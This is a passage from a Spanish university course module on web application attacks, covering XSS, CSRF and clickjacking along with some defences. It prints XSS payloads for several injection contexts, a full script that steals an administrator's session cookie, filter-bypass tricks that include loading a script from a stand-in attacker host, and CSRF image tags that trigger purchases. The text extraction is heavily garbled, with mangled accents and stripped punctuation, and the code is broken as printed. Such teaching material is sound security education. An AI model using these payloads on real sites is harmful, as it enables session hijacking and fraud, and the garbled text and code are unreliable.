clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea
ya a otro aacutembito de estudio como es la ingenieriacutea social
111 Ataques
Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que
pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-
mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante
y las funcionalidades de la aplicacioacuten objetivo del ataque
bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-
rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha
logrado que un usuario administrador ejecute nuestro coacutedigo Javascript
las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible
por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a
generar una cuenta de administrador con los datos que nosotros especifi-
CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web
quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de
administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil
especiacutefico del usuario en el sitio web
bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing
Mediante Javascript como hemos visto podemos modificar el comporta-
miento y la apariencia de una paacutegina web Esto permite crear un formula-
rio de login falso o redirigir el submit de uno existente hacia un dominio
de nuestro control
bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-
nicas que explotan vulnerabilidades XSS
bull Por otra parte aunque menos habitual es posible realizar un ataquedede-
negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)
Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-
gan un uso intensivo de recursos muy costosos en ancho de banda o ca-
pacidad de procesamiento de un servidor de forma asiacutencrona
bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga
dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-
cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red
social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo
Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita
otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-
cacioacuten en los perfiles afectados
Como se puede comprobar las posibilidades que ofrece el XSS son realmen-
te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar
coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no
permite el acceso a ficheros del sistema y a las propias funcionalidades que
ofrezca el sitio web objeto del posible ataque
112 Meacutetodos para introducir XSS (cross site scripting)
Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-
cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas
de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo
malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las
zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo
Javascript introducido
bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo
Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-
cutar
(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal
CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web
ltscriptgtalert(iexclHola Mundo)ltscriptgt
bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-
putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-
cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos
lo habitual es que el teacutermino introducido se copie dentro del campo del
buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-
tinuacioacuten
ltinput type=text name=q2 value=[busqueda] gt
Como se puede observar nuestro coacutedigo queda situado entre unas comillas
dobles de un atributo perteneciente a una etiqueta HTML que no permiten
que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la
que nos encontremos y posteriormente insertar el coacutedigo Javascript
gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=
Esta seriacutea la combinacioacuten resultante
ltinput type=text name=q value=gt
ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt
Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para
evitar de este modo que el coacutedigo HTML quede malformado
bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser
comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten
dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-
trar en una situacioacuten de este tipo es el siguiente
lt-- La busqueda fue [busqueda] --gt
Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-
te caso se deberiacutean cerrar los caracteres de comentario HTML introducir
nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios
HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse
perfectamente con el coacutedigo original de la paacutegina
--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-
Esta podriacutea ser la combinacioacuten adecuada
lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt
lt-- --gt
CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web
bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-
do las paacuteginas utilizan datos introducidos por el usuario para generar al-
guacuten tipo de evento personalizado o para almacenar datos que se van a usar
posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea
como la siguiente
ltscriptgt var busqueda = [busqueda] ltscriptgt
En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-
demos directamente introducir el coacutedigo Javascript como se refleja en la
siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-
tante cuando sea necesario evitar los filtros anti-XSS que las eliminan
alert(iexclHola Mundo)
Hemos utilizado las barras al final de la sintaxis para lograr que el resto de
la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-
tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-
do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML
debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores
no lo ejecutaraacuten
ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt
bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-
nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye
dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-
tido del supuesto de que no existen filtros anti-XSS implementados Jun-
to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de
coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP
113 Diseccionando un ataque
Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un
ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-
okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten
consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador
uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-
lizamos hacia un servidor Este identificador asociado a un usuario que se ha
ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-
denciales para cada paacutegina que el usuario visita dentro de un mismo dominio
Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos
al servidor este nos asociaraacute en todo momento al usuario al que estamos su-
plantando
CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web
El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en
una paacutegina web es localizar zonas funcionales de esta que permitan la intro-
duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente
si queda almacenado en una base de datos o bien de forma no permanente
si no es asiacute
En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio
de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible
ataque XSS
Figura 2 Enviacuteo de mensaje
Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo
de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una
serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres
a introducir seriacutean
bull Comilla simple (lsquo)
bull Comilla doble (ldquo)
bull Siacutembolo de mayor que (gt)
bull Siacutembolo de menor que (lt)
bull Barra ()
bull Espacio ( )
Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-
sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar
su existencia de forma totalmente definitiva siempre existe la posibilidad de
encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras
clave como script onload o javascript
En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-
raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-
queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-
mer ataque de XSS
En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-
luser De este modo todas las pruebas que realicemos se enviacutean directamente a
este usuario evitando alertar al usuario administrador En el campo del Cuer-
CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web
po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos
muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El
resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten
Figura 3 XSS antes de ser enviado
En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-
gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido
y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto
ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja
de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del
resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada
obtendremos una ventana de alerta con el mensaje especificado
Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el
coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve
el servidor
lta href=indexphpaction=deletegtltimg src=trashpng gtBorr
lta href=indexphpaction=logoutgtltimg src=system-log-outpn
ltdiv class=contenidogt
ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt
ltscriptgtltpgtltdivgt
ltdivgt
ltbodygt
Como se puede observar todos y cada uno de los caracteres que hemos intro-
ducido han quedado almacenados en la base de datos y se han copiado en el
coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro
Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se
estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-
do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-
mente o que borre todos sus mensajes La lista de posibilidades de acciones
maliciosas seriacutea interminable
CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
